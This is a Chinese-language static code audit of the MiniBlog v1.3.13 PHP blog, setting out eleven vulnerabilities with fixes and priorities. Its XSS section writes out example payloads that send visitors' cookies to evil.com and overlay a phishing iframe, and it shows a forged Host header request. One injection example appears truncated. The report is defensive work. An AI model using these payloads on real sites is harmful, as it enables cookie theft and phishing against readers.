MiniBlog v1.3.13 安全性评估报告

审查日期: 2026-07-29 | 审查范围: 全部源码 (4 PHP + 2 JS + 2 CSS + .htaccess) | 评估方法: 人工代码审计 + CVE 比对
2
严重 CRITICAL
3
高危 HIGH
3
中危 MEDIUM
3
低危 LOW
B-
综合评级

目录

1. 审查范围与系统架构

系统概述:MiniBlog 是一个 database-less 的轻量博客系统,通过扫描 Documents/ 目录下的 Markdown 文件生成文章列表,使用 Parsedown 1.8.0 将 Markdown 渲染为 HTML,通过文件系统 cache.json 缓存文章索引。

审查文件清单:

文件行数角色攻击面
index.php151首页文章列表渲染、分类导航
article.php221文章页用户输入(slug)、Markdown 渲染、文件读取
sitemap.php41站点地图HTTP Host 头
lib/articles.php84缓存核心文件读写、目录扫描
lib/Parsedown.php~1750MD 解析器HTML 渲染(第三方)
public/search.js102前端搜索DOM 操作
public/contact.js31联系遮罩DOM 操作
.htaccess21访问控制文件访问策略

用户可控输入入口(仅 2 处):


2. 严重漏洞 (CRITICAL)

CRITICAL #1 Stored XSS — Parsedown SafeMode 显式关闭

漏洞类型:CWE-79 跨站脚本攻击 (Stored XSS)

描述:article.php 第 59 行显式调用 $parser->setSafeMode(false),Parsedown 不会对 Markdown 中的原生 HTML 标签进行任何过滤或转义。Markdown 文件中的 <script><iframe><img onerror=...> 等标签将原样输出到页面中。

攻击前提:攻击者需要能向 Documents/ 目录写入 .md 文件。这可能通过:

攻击 Payload 示例:

<script>fetch('https://evil.com/?c='+document.cookie)</script>

<img src=x onerror="new Image().src='https://evil.com/?'+document.cookie">

<iframe src="https://evil.com/phishing" style="width:100%;height:100%;border:0;position:fixed;top:0;left:0;z-index:9999"></iframe>

影响:窃取 Cookie/Session、会话劫持、钓鱼攻击、恶意重定向、用户浏览器指纹采集。由于博客无认证机制,Cookie 窃取的直接影响有限,但钓鱼和恶意内容注入对读者造成直接危害。

位置: article.php:59 — $parser->setSafeMode(false);
修复建议:
  • 方案 A(推荐):启用安全模式 $parser->setSafeMode(true),Parsedown 会将 HTML 标签转义为纯文本。如需保留部分安全 HTML(如 <video>),可使用 $parser->setMarkupEscaped(false) + SafeMode + 白名单后处理。
  • 方案 B:保持 SafeMode 关闭,但在 Parsedown 输出后用 HTML Purifier 过滤,仅保留白名单标签和属性。
  • 方案 C:添加 CSP 头 Content-Security-Policy: default-src 'self'; script-src 'self' 作为纵深防御,阻止内联脚本执行(但不能阻止 HTML 注入如钓鱼 iframe)。
CRITICAL #2 代码块语言属性注入 XSS

漏洞类型:CWE-79 跨站脚本攻击

描述:article.php 第 88 行将 Parsedown 提取的代码块语言标识符直接拼入 HTML 属性,未做转义:

$preAttr  = $lang !== '' ? ' data-lang="' . $lang . '"' : '';
$codeAttr = $lang !== '' ? ' class="language-' . $lang . '"' : '';

$lang 来自正则 /class="language-([^"]+)"/ 的捕获组,即 Markdown 围栏代码块的语言标识符。攻击者可在 Markdown 中构造:

```">

生成的 HTML 将变为:

<pre data-lang=""><script>alert(1)</script><span "">...

闭合引号后注入任意 <script> 标签,即使 SafeMode 开启也无法防御(因为此注入发生在 Parsedown 输出之后的后处理阶段)。

攻击前提:同 #1,需要对 .md 文件的写入权限。

位置: article.php:88-89
修复建议:$lang 使用 htmlspecialchars($lang, ENT_QUOTES) 转义后再拼入属性:
$lang = htmlspecialchars($lang, ENT_QUOTES);
$preAttr  = $lang !== '' ? ' data-lang="' . $lang . '"' : '';
$codeAttr = $lang !== '' ? ' class="language-' . $lang . '"' : '';

3. 高危漏洞 (HIGH)

HIGH #3 HTTP Host 头注入

漏洞类型:CWE-644 不当处理 HTTP 头

描述:sitemap.php 第 10 行直接信任 $_SERVER['HTTP_HOST'],该值来自客户端 HTTP 请求的 Host: 头,可被攻击者任意伪造。生成的 sitemap XML 中所有 <loc> URL 都基于此值。

$host = $_SERVER['HTTP_HOST'];
$baseUrl = $protocol . '://' . $host . rtrim(dirname($_SERVER['SCRIPT_NAME']), '/\\') . '/';

攻击方式:

  • SEO 毒化:向搜索引擎提交被污染的 sitemap URL,使搜索引擎索引指向攻击者域名的 URL
  • 缓存毒化:如果 sitemap.php 前方有反向代理/CDN 缓存,攻击者可注入恶意 Host 使缓存内容指向钓鱼站点
  • SSRF 链式利用:如果其他内部服务消费 sitemap URL 并发起请求,可被引导至内部网络

攻击示例:

GET /sitemap.php HTTP/1.1
Host: evil.com

# 生成的 sitemap:
# <loc>http://evil.com/article.php?a=xxx</loc>

注:虽然 htmlspecialchars($loc) 在第 33 行对输出做了 XML 转义,但 $host 本身可以被设为合法域名格式,不会触发转义。

位置: sitemap.php:10-11
修复建议:使用白名单验证 Host,或直接从配置文件读取固定域名:
$allowedHosts = ['mrga0.com', 'www.mrga0.com'];
$host = in_array($_SERVER['HTTP_HOST'] ?? '', $allowedHosts)
    ? $_SERVER['HTTP_HOST']
    : $allowedHosts[0];
HIGH #4 .htaccess <Directory> 指令无效 — documents 目录 PHP 未禁用

漏洞类型:CWE-732 关键资源权限配置不当

描述:.htaccess 第 7-9 行尝试禁止 documents 目录的 PHP 执行:

<Directory "documents">
  php_flag engine off
</Directory>

但存在两个严重问题:

  • <Directory> 不可用于 .htaccessApache 官方文档明确指出 <Directory> 仅在主配置文件 (httpd.conf) 或 <VirtualHost> 上下文中有效。在 .htaccess 中使用会导致 500 Internal Server Error(取决于 Apache 版本和 AllowOverride 设置),或被静默忽略。
  • php_flag 仅适用于 mod_php:如果服务器使用 PHP-FPM + FastCGI(现代部署的主流方式),php_flag 指令完全无效。
  • 大小写不匹配:实际目录名为 Documents(大写 D),而 .htaccess 和 articles.php 中引用的是 documents(小写 d)。在 Linux(大小写敏感)上两者是不同路径。

影响:如果攻击者能向 Documents 目录写入 .php 文件(通过其他漏洞或共享主机越权),该文件可被直接请求执行,导致 RCE(远程代码执行)。

位置: .htaccess:7-9
修复建议:
  • Documents/ 目录内部放置单独的 .htaccessphp_flag engine off + Require all denied
  • 或在 Apache 主配置中正确配置 <Directory>
  • 对于 nginx:添加 location ~ /Documents/.*\.php$ { deny all; }
  • 统一目录名为小写 documents,消除跨平台大小写问题
HIGH #5 cache.json 并发写入竞态条件

漏洞类型:CWE-362 竞态条件 / CWE-733 不当文件操作

描述:lib/articles.php 第 67 行写入缓存文件时未使用文件锁 (LOCK_EX):

file_put_contents($cacheFile, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT));

同时第 32 行的读取也无锁:

$tmp = json_decode((string) file_get_contents($cacheFile), true);

攻击场景:cache.json 的签名失效(如新增文章后),多个并发请求同时触发缓存重建。两个 PHP 进程同时 file_put_contents 同一文件会导致:

  • 文件内容交错写入,生成损坏的 JSON
  • 后续请求 json_decode 失败返回 null
  • $tmp['sig'] 访问 null 导致 PHP Warning,缓存永远无法命中
  • 每次请求都重新扫描目录 + 重新写入,形成性能雪崩

影响:DoS(服务不可用)— 在高并发下(如被搜索引擎爬虫密集抓取、或被 CC 攻击),系统可能因缓存反复损坏而性能骤降。

位置: lib/articles.php:32(读), 67(写)
修复建议:
// 写入时加排他锁
file_put_contents($cacheFile, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT), LOCK_EX);

// 读取时加共享锁
$fp = fopen($cacheFile, 'r');
flock($fp, LOCK_SH);
$tmp = json_decode(stream_get_contents($fp), true);
flock($fp, LOCK_UN);
fclose($fp);

4. 中危漏洞 (MEDIUM)

MEDIUM #6 缺失关键安全响应头

漏洞类型:CWE-693 保护机制失效

描述:三个 PHP 入口文件均未设置以下安全响应头:

响应头作用缺失影响
X-Content-Type-Options: nosniff阻止 MIME 嗅探浏览器可能将非脚本文件当脚本执行
X-Frame-Options: DENY阻止页面被 iframe 嵌套点击劫持 (Clickjacking)
Content-Security-Policy内容安全策略无法作为 XSS 的纵深防御
Strict-Transport-Security强制 HTTPSSSL 降级攻击
Referrer-Policy控制 Referer 泄露内部路径泄露给第三方
位置: index.php, article.php, sitemap.php (全部入口)
修复建议:在每个 PHP 文件顶部或通过 .htaccess 统一设置:
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header("Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'");
header('Referrer-Policy: strict-origin-when-cross-origin');
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
    header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
}
MEDIUM #7 slug 参数无长度限制

漏洞类型:CWE-400 不受控制的资源消耗

描述:article.php 第 11 行 $slug = trim($_GET['a'] ?? '') 未对输入长度做任何限制。攻击者可发送超长 slug(如 1MB 字符串),后续的 strpbrk 扫描和缓存数组遍历 foreach ($cache['articles'] as $a) 都需处理这个超长字符串,消耗 CPU。

虽然缓存命中失败后返回 404,但遍历过程本身仍消耗资源。在大量并发下可放大为 DoS。

位置: article.php:11
修复建议:添加长度上限(文章 slug 通常不超过 200 字符):
$slug = trim($_GET['a'] ?? '');
if (strlen($slug) > 255) { http_response_code(404); exit('Not Found'); }
MEDIUM #8 目录名大小写不一致

漏洞类型:CWE-178 不区分大小写的比较

描述:实际目录名为 Documents(大写 D),但代码中统一使用小写 documents

  • lib/articles.php:15$baseDir = $root . '/documents'
  • .htaccess:7<Directory "documents">

在 Windows(开发环境)上大小写不敏感,功能正常。但部署到 Linux(生产环境)时:

  • 如果目录名是 Documentsarticles.phpglob('documents/*') 将找不到任何文件,博客完全瘫痪
  • .htaccess 中的 <Directory "documents"> 不会匹配 Documents 目录,即使修复了 #4 的指令位置问题

安全角度:如果 Linux 上同时存在 documentsDocuments 两个目录,.htaccess 的保护规则可能只覆盖了空目录。

位置: lib/articles.php:15, .htaccess:7, 实际目录: Documents/
修复建议:统一目录名为全小写 documents(Linux 惯例),同时更新代码和实际目录名。

5. 低危与信息 (LOW / INFO)

LOW #9 Parsedown 1.8.0 版本陈旧

描述:当前使用 Parsedown 1.8.0(发布于 2019 年)。经 CVE 比对,已知的 CVE-2018-1000162(XSS 绕过 setMarkupEscaped)影响版本 < 1.7.0,已在 1.7.0 修复,1.8.0 不受影响。但该库已 5+ 年未更新,可能存在未公开的漏洞。

建议:关注 Parsedown 官方仓库是否有安全更新;考虑迁移到 Parsedown Extra 或其他维护更活跃的 Markdown 解析器(如 league/commonmark)。

位置: lib/Parsedown.php:20 — const version = '1.8.0';
LOW #10 无速率限制 / DoS 防护缺失

描述:系统无任何请求频率限制机制。虽然静态博客本身资源消耗低,但以下场景可被利用:

  • 大量并发请求触发缓存重建(配合 #5 竞态条件可放大影响)
  • article.php 发送大量不同 slug 参数,每次都触发缓存数组遍历
  • glob()filemtime() 在文章数量很多时消耗 I/O

建议:在反向代理层(nginx/Apache)配置速率限制;或在 PHP 层实现简单的基于 IP 的频率控制。

LOW #11 cache.json 信息泄露

描述:cache.json 包含所有文章的元数据(slug、标题、路径、修改时间),位于站点根目录。.htaccess 第 2-4 行通过 <FilesMatch "\.(md|json)$"> 阻止了直接访问。

此防护在 Apache + mod_rewrite 环境下有效,但在以下场景可能失效:

  • nginx(不读取 .htaccess)
  • Apache 配置中 AllowOverride None(禁用 .htaccess)
  • 直接通过 PHP 内置服务器 php -S 运行

影响:泄露文章元数据(非敏感信息,但可能暴露未发布的草稿文件名)。

建议:cache.json 移到 Web 根目录之外(如 ../cache/cache.json),或重命名为 .cache.json(隐藏文件,已被 .htaccess^\. 规则阻止)。

位置: lib/articles.php:16 — $cacheFile = $root . '/cache.json';

6. 已具备的安全防护

路径穿越防护 ✓article.php:14 使用 strpbrk($slug, "/\\") 阻止路径分隔符,配合缓存数组白名单查找($map[$slug]),双重保证只能访问已索引的文件。
输出转义 ✓ — 所有用户可控数据输出到 HTML 时均使用 htmlspecialchars()index.php 的分类名/标题/slug,article.php 的标题/目录文本,sitemap.php 的 URL。
无命令执行 ✓ — 全部源码中无 eval()exec()system()shell_exec()passthru()proc_open()popen() 等危险函数。
无 SQL 注入面 ✓ — 系统无数据库,不存在 SQLi 攻击面。
无文件上传 ✓ — 系统无 $_FILES 处理,无文件上传功能。
无 XXE 攻击面 ✓sitemap.php 仅输出 XML,不解析 XML 输入。
无反序列化 ✓ — 不使用 unserialize(),缓存使用 json_decode()
无 SSRF ✓ — 不发起任何外部 HTTP 请求。
无 CSRF ✓ — 无状态变更操作(无 POST 处理、无表单提交)。
隐藏文件保护 ✓.htaccess 阻止 ^\. 开头的文件直接访问。
资源路径修正 ✓article.php:47-56 使用 basename() 处理图片/视频路径,防止通过 Markdown 中的相对路径访问任意文件。
严格类型 ✓ — 所有 PHP 文件使用 declare(strict_types=1)

7. 攻击向量覆盖矩阵

攻击类型是否存在说明
XSS (跨站脚本)存在 (严重)SafeMode 关闭 + lang 属性未转义
路径穿越 / 目录遍历已防护strpbrk + 缓存白名单查找
文件读取越权已防护文件路径仅来自缓存索引
SQL 注入不适用无数据库
命令注入 / RCE已防护无命令执行函数;但 #4 可间接导致
HTTP 头注入存在 (高危)Host 头未验证
CSRF不适用无状态变更操作
SSRF不适用无外部请求
文件上传攻击不适用无上传功能
XXE不适用不解析 XML
反序列化不适用使用 JSON 不使用 serialize
竞态条件存在 (高危)cache.json 无锁写入
DoS (拒绝服务)低风险无速率限制,但有缓存机制
信息泄露低风险cache.json 由 .htaccess 保护
点击劫持中风险缺 X-Frame-Options
MIME 嗅探低风险缺 X-Content-Type-Options
权限配置不当存在 (高危).htaccess Directory 指令无效

8. 修复优先级建议

优先级漏洞编号修复工作量建议时间
P0 (立即)#1 XSS SafeMode1 行代码立即
P0 (立即)#2 lang 属性注入2 行代码立即
P1 (本周)#3 Host 头注入5 行代码1 天内
P1 (本周)#4 .htaccess 修复配置调整1 天内
P1 (本周)#5 竞态加锁3 行代码1 天内
P2 (近期)#6 安全头5 行代码 / .htaccess本周
P2 (近期)#7 slug 长度限制1 行代码本周
P2 (近期)#8 目录大小写统一重命名本周
P3 (计划)#9-#11评估/监控下月

本报告基于 MiniBlog v1.3.13 源码静态审计生成。审查覆盖全部 8 个源文件 + .htaccess 配置。CVE 比对基于 NVD/GitHub Advisory Database 截至 2026-07-29 的数据。综合评级 B- 基于:无数据库/无命令执行/路径穿越已防护等良好基线,但存在 2 个严重 XSS 和 3 个高危配置问题。